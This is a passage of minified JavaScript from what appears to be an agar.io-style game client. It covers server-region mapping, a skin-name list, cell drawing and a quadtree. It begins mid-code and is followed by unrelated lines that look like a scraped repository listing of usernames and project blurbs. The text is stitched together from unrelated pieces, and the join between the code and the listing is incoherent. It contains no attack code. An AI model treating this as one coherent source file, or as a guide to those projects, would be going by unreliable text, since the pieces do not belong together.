T={AF:"JP-Tokyo",AX:"EU-London",AL:"EU-London",DZ:"EU-London",AS:"SG-Singapore",AD:"EU-London",AO:"EU-London",AI:"US-Atlanta",AG:"US-Atlanta",AR:"BR-Brazil",AM:"JP-Tokyo",AW:"US-Atlanta",AU:"SG-Singapore",AT:"EU-London",AZ:"JP-Tokyo",BS:"US-Atlanta",BH:"JP-Tokyo",BD:"JP-Tokyo",BB:"US-Atlanta",BY:"EU-London",BE:"EU-London",BZ:"US-Atlanta",BJ:"EU-London",BM:"US-Atlanta",BT:"JP-Tokyo",BO:"BR-Brazil",BQ:"US-Atlanta",BA:"EU-London",BW:"EU-London",BR:"BR-Brazil",IO:"JP-Tokyo",VG:"US-Atlanta",BN:"JP-Tokyo",BG:"EU-London",BF:"EU-London",BI:"EU-London",KH:"JP-Tokyo",CM:"EU-London",CA:"US-Atlanta",CV:"EU-London",KY:"US-Atlanta",CF:"EU-London",TD:"EU-London",CL:"BR-Brazil",CN:"CN-China",CX:"JP-Tokyo",CC:"JP-Tokyo",CO:"BR-Brazil",KM:"EU-London",CD:"EU-London",CG:"EU-London",CK:"SG-Singapore",CR:"US-Atlanta",CI:"EU-London",HR:"EU-London",CU:"US-Atlanta",CW:"US-Atlanta",CY:"JP-Tokyo",CZ:"EU-London",DK:"EU-London",DJ:"EU-London",DM:"US-Atlanta",DO:"US-Atlanta",EC:"BR-Brazil",EG:"EU-London",SV:"US-Atlanta",GQ:"EU-London",ER:"EU-London",EE:"EU-London",ET:"EU-London",FO:"EU-London",FK:"BR-Brazil",FJ:"SG-Singapore",FI:"EU-London",FR:"EU-London",GF:"BR-Brazil",PF:"SG-Singapore",GA:"EU-London",GM:"EU-London",GE:"JP-Tokyo",DE:"EU-London",GH:"EU-London",GI:"EU-London",GR:"EU-London",GL:"US-Atlanta",GD:"US-Atlanta",GP:"US-Atlanta",GU:"SG-Singapore",GT:"US-Atlanta",GG:"EU-London",GN:"EU-London",GW:"EU-London",GY:"BR-Brazil",HT:"US-Atlanta",VA:"EU-London",HN:"US-Atlanta",HK:"JP-Tokyo",HU:"EU-London",IS:"EU-London",IN:"JP-Tokyo",ID:"JP-Tokyo",IR:"JP-Tokyo",IQ:"JP-Tokyo",IE:"EU-London",IM:"EU-London",IL:"JP-Tokyo",IT:"EU-London",JM:"US-Atlanta",JP:"JP-Tokyo",JE:"EU-London",JO:"JP-Tokyo",KZ:"JP-Tokyo",KE:"EU-London",KI:"SG-Singapore",KP:"JP-Tokyo",KR:"JP-Tokyo",KW:"JP-Tokyo",KG:"JP-Tokyo",LA:"JP-Tokyo",LV:"EU-London",LB:"JP-Tokyo",LS:"EU-London",LR:"EU-London",LY:"EU-London",LI:"EU-London",LT:"EU-London",LU:"EU-London",MO:"JP-Tokyo",MK:"EU-London",MG:"EU-London",MW:"EU-London",MY:"JP-Tokyo",MV:"JP-Tokyo",ML:"EU-London",MT:"EU-London",MH:"SG-Singapore",MQ:"US-Atlanta",MR:"EU-London",MU:"EU-London",YT:"EU-London",MX:"US-Atlanta",FM:"SG-Singapore",MD:"EU-London",MC:"EU-London",MN:"JP-Tokyo",ME:"EU-London",MS:"US-Atlanta",MA:"EU-London",MZ:"EU-London",MM:"JP-Tokyo",NA:"EU-London",NR:"SG-Singapore",NP:"JP-Tokyo",NL:"EU-London",NC:"SG-Singapore",NZ:"SG-Singapore",NI:"US-Atlanta",NE:"EU-London",NG:"EU-London",NU:"SG-Singapore",NF:"SG-Singapore",MP:"SG-Singapore",NO:"EU-London",OM:"JP-Tokyo",PK:"JP-Tokyo",PW:"SG-Singapore",PS:"JP-Tokyo",PA:"US-Atlanta",PG:"SG-Singapore",PY:"BR-Brazil",PE:"BR-Brazil",PH:"JP-Tokyo",PN:"SG-Singapore",PL:"EU-London",PT:"EU-London",PR:"US-Atlanta",QA:"JP-Tokyo",RE:"EU-London",RO:"EU-London",RU:"RU-Russia",RW:"EU-London",BL:"US-Atlanta",SH:"EU-London",KN:"US-Atlanta",LC:"US-Atlanta",MF:"US-Atlanta",PM:"US-Atlanta",VC:"US-Atlanta",WS:"SG-Singapore",SM:"EU-London",ST:"EU-London",SA:"EU-London",SN:"EU-London",RS:"EU-London",SC:"EU-London",SL:"EU-London",SG:"JP-Tokyo",SX:"US-Atlanta",SK:"EU-London",SI:"EU-London",SB:"SG-Singapore",SO:"EU-London",ZA:"EU-London",SS:"EU-London",ES:"EU-London",LK:"JP-Tokyo",SD:"EU-London",SR:"BR-Brazil",SJ:"EU-London",SZ:"EU-London",SE:"EU-London",CH:"EU-London",SY:"EU-London",TW:"JP-Tokyo",TJ:"JP-Tokyo",TZ:"EU-London",TH:"JP-Tokyo",TL:"JP-Tokyo",TG:"EU-London",TK:"SG-Singapore",TO:"SG-Singapore",TT:"US-Atlanta",TN:"EU-London",TR:"TK-Turkey",TM:"JP-Tokyo",TC:"US-Atlanta",TV:"SG-Singapore",UG:"EU-London",UA:"EU-London",AE:"EU-London",GB:"EU-London",US:"US-Atlanta",UM:"SG-Singapore",VI:"US-Atlanta",UY:"BR-Brazil",UZ:"JP-Tokyo",VU:"SG-Singapore",VE:"BR-Brazil",VN:"JP-Tokyo",WF:"SG-Singapore",EH:"EU-London",YE:"JP-Tokyo",ZM:"EU-London",ZW:"EU-London"};g.connect=Ka;var da=500,Oa=-1,Pa=-1,x=null,z=1,la=null,M={},Va="poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"),kb=["8","nasa"],lb=["m'blob"];Na.prototype={id:0,a:null,l:null,name:null,k:null,J:null,x:0,y:0,size:0,p:0,q:0,o:0,D:0,F:0,n:0,W:0,L:0,ja:0,ba:0,A:!1,d:!1,j:!1,M:!0,S:function(){var a;for(a=0;a<v.length;a++)if(v[a]==this){v.splice(a,1);break}delete A[this.id];a=p.indexOf(this);-1!=a&&(va=!0,p.splice(a,1));a=G.indexOf(this.id);-1!=a&&G.splice(a,1);this.A=!0;I.push(this)},h:function(){return Math.max(~~(.3*this.size),24)},Z:function(a){if(this.name=a)null==this.k?this.k=new ma(this.h(),"#FFFFFF",!0,"#000000"):this.k.H(this.h()),this.k.u(this.name)},R:function(){for(var a=this.C();this.a.length>a;){var b=~~(Math.random()*this.a.length);this.a.splice(b,1);this.l.splice(b,1)}0==this.a.length&&0<a&&(this.a.push({Q:this,e:this.size,x:this.x,y:this.y}),this.l.push(Math.random()-.5));for(;this.a.length<a;){var b=~~(Math.random()*this.a.length),c=this.a[b];this.a.splice(b,0,{Q:this,e:c.e,x:c.x,y:c.y});this.l.splice(b,0,this.l[b])}},C:function(){if(0==this.id)return 16;var a=10;20>this.size&&(a=0);this.d&&(a=30);var b=this.size;this.d||(b*=k);b*=z;this.W&32&&(b*=.25);return~~Math.max(b,a)},ha:function(){this.R();for(var a=this.a,b=this.l,c=a.length,d=0;d<c;++d){var e=b[(d-1+c)%c],l=b[(d+1)%c];b[d]+=(Math.random()-.5)*(this.j?3:1);b[d]*=.7;10<b[d]&&(b[d]=10);-10>b[d]&&(b[d]=-10);b[d]=(e+l+8*b[d])/10}for(var h=this,g=this.d?0:(this.id/1E3+H/1E4)%(2*Math.PI),d=0;d<c;++d){var f=a[d].e,e=a[(d-1+c)%c].e,l=a[(d+1)%c].e;if(15<this.size&&null!=O&&20<this.size*k&&0!=this.id){var m=!1,p=a[d].x,q=a[d].y;O.ia(p- 5,q-5,10,10,function(a){a.Q!=h&&25>(p-a.x)*(p-a.x)+(q-a.y)*(q-a.y)&&(m=!0)});!m&&(a[d].x<ga||a[d].y<ha||a[d].x>ia||a[d].y>ja)&&(m=!0);m&&(0<b[d]&&(b[d]=0),b[d]-=1)}f+=b[d];0>f&&(f=0);f=this.j?(19*f+this.size)/20:(12*f+this.size)/13;a[d].e=(e+l+8*f)/10;e=2*Math.PI/c;l=this.a[d].e;this.d&&0==d%2&&(l+=5);a[d].x=this.x+Math.cos(e*d+g)*l;a[d].y=this.y+Math.sin(e*d+g)*l}},K:function(){if(0==this.id)return 1;var a;a=(H-this.L)/120;a=0>a?0:1<a?1:a;var b=0>a?0:1<a?1:a;this.h();if(this.A&&1<=b){var c=I.indexOf(this); -1!=c&&I.splice(c,1)}this.x=a*(this.D-this.p)+this.p;this.y=a*(this.F-this.q)+this.q;this.size=b*(this.n-this.o)+this.o;return b},I:function(){return 0==this.id?!0:this.x+this.size+40<t-q/2/k||this.y+this.size+40<u-r/2/k||this.x-this.size-40>t+q/2/k||this.y-this.size-40>u+r/2/k?!1:!0},T:function(a){if(this.I()){var b=0!=this.id&&!this.d&&!this.j&&.4>k;5>this.C()&&(b=!0);if(this.M&&!b)for(var c=0;c<this.a.length;c++)this.a[c].e=this.size;this.M=b;a.save();this.ba=H;c=this.K();this.A&&(a.globalAlpha*=1-c);a.lineWidth=10;a.lineCap="round";a.lineJoin=this.d?"miter":"round";za?(a.fillStyle="#FFFFFF",a.strokeStyle="#AAAAAA"):(a.fillStyle=this.color,a.strokeStyle=this.color);if(b)a.beginPath(),a.arc(this.x,this.y,this.size+5,0,2*Math.PI,!1);else{this.ha();a.beginPath();var d=this.C();a.moveTo(this.a[0].x,this.a[0].y);for(c=1;c<=d;++c){var e=c%d;a.lineTo(this.a[e].x,this.a[e].y)}}a.closePath();d=this.name.toLowerCase();!this.j&&Ra&&":teams"!=P?-1!=Va.indexOf(d)?(M.hasOwnProperty(d)||(M[d]=new Image,M[d].src="skins/"+d+".png"),c=0!=M[d].width&&M[d].complete?M[d]:null):c=null:c=null;c=(e=c)?-1!=lb.indexOf(d):!1;b||a.stroke();a.fill();null==e||c||(a.save(),a.clip(),a.drawImage(e,this.x-this.size,this.y-this.size,2*this.size,2*this.size),a.restore());(za||15<this.size)&&!b&&(a.strokeStyle="#000000",a.globalAlpha*=.1,a.stroke());a.globalAlpha=1;null!=e&&c&&a.drawImage(e,this.x-2*this.size,this.y-2*this.size,4*this.size,4*this.size);c=-1!=p.indexOf(this);if(0!=this.id){b=~~this.y;if((na||c)&&this.name&&this.k&&(null==e||-1==kb.indexOf(d))){e=this.k;e.u(this.name);e.H(this.h());d=Math.ceil(10*k)/10;e.$(d);var e=e.G(),l=~~(e.width/d),h=~~(e.height/d);a.drawImage(e,~~this.x-~~(l/2),b-~~(h/2),l,h);b+=e.height/2/d+4}Sa&&(c||0==p.length&&(!this.d||this.j)&&20<this.size)&&(null==this.J&&(this.J=new ma(this.h()/2,"#FFFFFF",!0,"#000000")),c=this.J,c.H(this.h()/2),c.u(~~(this.size*this.size/100)),d=Math.ceil(10*k)/10,c.$(d),e=c.G(),l=~~(e.width/d),h=~~(e.height/d),a.drawImage(e,~~this.x-~~(l/2),b-~~(h/2), l,h))}a.restore()}}};ma.prototype={w:"",N:"#000000",P:!1,s:"#000000",r:16,m:null,O:null,g:!1,v:1,H:function(a){this.r!=a&&(this.r=a,this.g=!0)},$:function(a){this.v!=a&&(this.v=a,this.g=!0)},setStrokeColor:function(a){this.s!=a&&(this.s=a,this.g=!0)},u:function(a){a!=this.w&&(this.w=a,this.g=!0)},G:function(){null==this.m&&(this.m=document.createElement("canvas"),this.O=this.m.getContext("2d"));if(this.g){this.g=!1;var a=this.m,b=this.O,c=this.w,d=this.v,e=this.r,l=e+"px Ubuntu";b.font=l;var h=~~(.2*e);a.width=(b.measureText(c).width+6)*d;a.height=(e+h)*d;b.font=l;b.scale(d,d);b.globalAlpha=1;b.lineWidth=3;b.strokeStyle=this.s;b.fillStyle=this.N;this.P&&b.strokeText(c,3,e-h/2);b.fillText(c,3,e-h/2)}return this.m}};Date.now||(Date.now=function(){return(new Date).getTime()});var Ya={ca:function(a){function b(a,b,c,d,e){this.x=a;this.y=b;this.f=c;this.c=d;this.depth=e;this.items=[];this.b=[]}var c=a.da||2,d=a.ea||4;b.prototype={x:0,y:0,f:0,c:0,depth:0,items:null,b:null,B:function(a){for(var b=0;b<this.items.length;++b){var c=this.items[b];if(c.x>=a.x&&c.y>=a.y&&c.x<a.x+a.f&&c.y<a.y+a.c)return!0}if(0!=this.b.length){var d=this;return this.V(a,function(b){return d.b[b].B(a)})}return!1},t:function(a,b){for(var c=0;c<this.items.length;++c)b(this.items[c]);if(0!=this.b.length){var d=this;this.V(a,function(c){d.b[c].t(a,b)})}},i:function(a){0!=this.b.length?this.b[this.U(a)].i(a):this.items.length>=c&&this.depth<d?(this.aa(),this.b[this.U(a)].i(a)):this.items.push(a)},U:function(a){return a.x<this.x+ this.f/2?a.y<this.y+this.c/2?0:2:a.y<this.y+this.c/2?1:3},V:function(a,b){return a.x<this.x+this.f/2&&(a.y<this.y+this.c/2&&b(0)||a.y>=this.y+this.c/2&&b(2))||a.x>=this.x+this.f/2&&(a.y<this.y+this.c/2&&b(1)||a.y>=this.y+this.c/2&&b(3))?!0:!1},aa:function(){var a=this.depth+1,c=this.f/2,d=this.c/2;this.b.push(new b(this.x,this.y,c,d,a));this.b.push(new b(this.x+c,this.y,c,d,a));this.b.push(new b(this.x,this.y+d,c,d,a));this.b.push(new b(this.x+c,this.y+d,c,d,a));a=this.items;this.items=[];for(c=0;c<a.length;c++)this.i(a[c])},clear:function(){for(var a=0;a<this.b.length;a++)this.b[a].clear();this.items.length=0;this.b.length=0}};var e={x:0,y:0,f:0,c:0};return{root:new b(a.X,a.Y,a.fa-a.X,a.ga-a.Y,0),i:function(a){this.root.i(a)},t:function(a,b){this.root.t(a,b)},ia:function(a,b,c,d,f){e.x=a;e.y=b;e.f=c;e.c=d;this.root.t(e,f)},B:function(a){return this.root.B(a)},clear:function(){this.root.clear()}}}};m(Wa)}}})(window,window.jQuery);
mraof
Natives for bn128 for RSKj
DIN-center
A rust implementation of EigenLab's BN254.sol contract
resonantfinance
No description available
CrazyThursdayV50
rust binance api implement
vwasm
No description available
flyingnobita
No description available
Komal476
No description available
spudtracktoad
No description available
wdudokvanheel
Rust tool for extracting textures from Nintendo Switch .bntx (Binary NX Texture) files.